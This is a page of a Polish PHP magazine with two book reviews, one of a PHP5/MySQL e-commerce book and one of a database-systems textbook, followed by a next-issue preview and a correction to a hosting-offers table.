Mimo potknięć redakcyjnych lektura PHP5 i MySQL – Zastosowania e-commerce sprawiła mi przyjemność, a książkę
uważam za potrzebną i pożyteczną. W odróżnieniu od tysięcy innych samouczków LAMP tutaj mamy do czynienia z podej-
ściem nastawionym na praktyczne opisanie pracy nad większym projektem: autorzy kładą nacisk na dobrą architekturę cało-
ści, a w kolejnych rozdziałach nie pomijają nawet szczegółowego opisu obsługi płatności kartą kredytową (w dwóch różnych
systemach, więc przełożenie instrukcji na polskie realia nie jest trudne) i współpracy z Amazon.com z użyciem Web Services.
Proponowana architektura sklepu nosi indywidualne piętno jej twórców – w niektórych kwestiach zgadzam się z nimi
(porównanie wywołań REST i SOAP), w niektórych chętnie bym polemizował (uzasadnienie dla użycia szablonów SMAR-
TY), ale trzeba przyznać, że każdy początkujący programista – o ile ma już opanowane podstawy PHP5 – znajdzie w
książce dużo rzetelnej wiedzy.
Filip Dreger
�����
Systemy baz danych nie są właściwie książką o bazach danych, lecz skryptem akademickim do przedmiotu o takiej nazwie. Chociaż
ponad 500 stron wypełnionych jest informacjami, książka nie dostarczy żadnej praktycznej wiedzy ani umiejętności, z wyjatkiem być
może umiejętności zdania egzaminu zrobionego na jej podstawie.
Jak większość naukowców autor nie darowuje sobie rozpoczęcia książki od serii klasyfi kacji i defi nicji, na przykład: Dana, jako
jednostka danych, jest to jeden lub kilka symboli użytych do reprezentowania czegoś. A także historii prezentowanej dziedziny: Ludzie
przechowywali dane od wielu tysięcy lat. Na przykład pierwszy znany zapis opisujący majątek królewski i podatki w Sumerze pocho-
dzi z ok. 4000 r. p.n.e. Pojawiają się też naukowo brzmiące, lecz jawnie nieprawdziwe twierdzenia, jak: System informacyjny jest to
system, który dostarcza dane dla przedsiębiorstwa lub jego części (czy tylko przedsiębiorstwa mogą mieć systemy informacyjne?!).
Tego rodzaju wata nie jest tylko dodatkiem do książki – szacunkowo biorąc stanowi około połowy jej objętości, w wypadkach nie-
których rozdziałów (np. multimedialne bazy danych i bazy danych w Internecie) mamy do czynienia wyłącznie z trocinami.
Z punktu widzenia studenta Systemy bazy danych będą jeszcze jedną nieinspirującą lekturą do wykorzystania w systemie
Zakuć, Zdać, Zapomnieć. Jeżeli po książkę sięgnie średnio doświadczony autor aplikacji bazodanowych, znajdzie w
niej trochę rodzynków – między innymi podstawowe informacje o fi zycznej organizacji danych w plikach i indekso-
waniu (pozbawione niestety jakichkowiek przykładów pozwalających wykorzystać tę wiedzę do optymalizacji bazy),
opis obiektowych baz danych (w sumie pięć stron), bardzo dobrze opisane teoretycznie podstawy relacyjnych baz
danych (ciekawsze problemy, takie jak operacje na strukturach rekurencyjnych, są tylko zasygnalizowane) i ich nor-
malizacji.
Systemy baz danych są starannie zredagowane, jednak tłumacz nie miał chyba praktycznego kontaktu z informatyką;
niektóre fragmenty są tłumaczone bez zrozumienia, na przykład termin interfejs w postaci wspólnej bramy (ktoś zgadł? cho-
dziło o standard CGI). Książkę mogę polecić tylko jako uzupełnienie wykładu lub dobrych zajęć praktycznych, i to raczej nie
informatykom.
Filip Dreger
Systemy baz danych
Autor: Paul Beynon-Davis
Wydawnictwo: Wydawnictwo Naukowo-Techniczne Cena: 21,60 zł
�����
R E C E N Z J E
Ponadto planujemy:
■■ Zarządzanie klientami z PHP-GTK2 – Pablo Dall’Oglio
■ ■ Video Streaming z wykorzystaniem PHP
■■ SNMP – zdalne sterowanie sprzętem
oraz ciąg dalszy artykułów poświęconych bezpieczeństwu
aplikacji oraz wykorzystaniu wzorców projektowych
TECHNIKI
NARZĘDZIA
PROJEKTY
EyeOS – Web Based Desktop System – Inter-
net na biurku czy biurko w Internecie? Przedsta-
wimy wnętrze i mechanizmy działania systemu
EyeOS – czyli webowego systemu operacyjne-
go napisanego m.in. w PHP, rozwijanego przez
społeczność na zasadach Open Source.
Copix – nowa jakość w dziedzinie systemów
CMS: wykorzystanie DAO, PHP5, 5-warstwowa
architektura, obsługa wielu baz danych, w tym
Oracle, to tylko niektóre z jego wielu możliwości.
PhpBeans – środowisko i specyfi kacja do
tworzenia wielowarstwowych aplikacji klasy
Enterprise. Pokażemy zalety oprogramowania
tworzonego przy użyciu phpBeans i przedstawi-
my jego integrację z frameworkiem PRADO.
iConnect w praktyce – tworzenie aplikacji
w PHP5 w oparciu o nowoczesną architekturę
dla rozwiązań klasy Enterprise.
Streaming Audio w PHP – Karl Vollmer,
twórca projektu Ampache prezentuje Streaming
Audio w PHP. Autor pokaże, jak stworzyć apli-
kację, która będzie w stanie wykonywać takie
operacje jak transcoding, downsampling
i stream seeking, także przy użyciu HTTPS.
W następnym numerze
W sprzedaży od 20 kwietnia!
PHP Solutions 3/2006 (14)
Firma Usługa PowierzchniaLimit transferu
(roczny)Restrykcje ilościowe
Obsługa baz
danych
Ceny
(netto)
Lokalizacja
serwera
FTP PocztaBazy
Danych
Kont
Domen /
SubdomenSerwisów Kont FTP
Baz
danychMySQL
Postgre-
SQL
Abonament
Roczny
Nazwa (nazwa.pl) Active 5 GB 300 GB b.o. b.o. b.o. 1 b.o. Tak Tak 300Polska
Pro 10 GB 600 GB b.o. b.o. b.o. 1 b.o. Tak Tak 600
Sprostowanie do artykułu pt. „Porównanie ofert polskich fi rm hostingowych“ z poprzedniego numeru PHP Solutions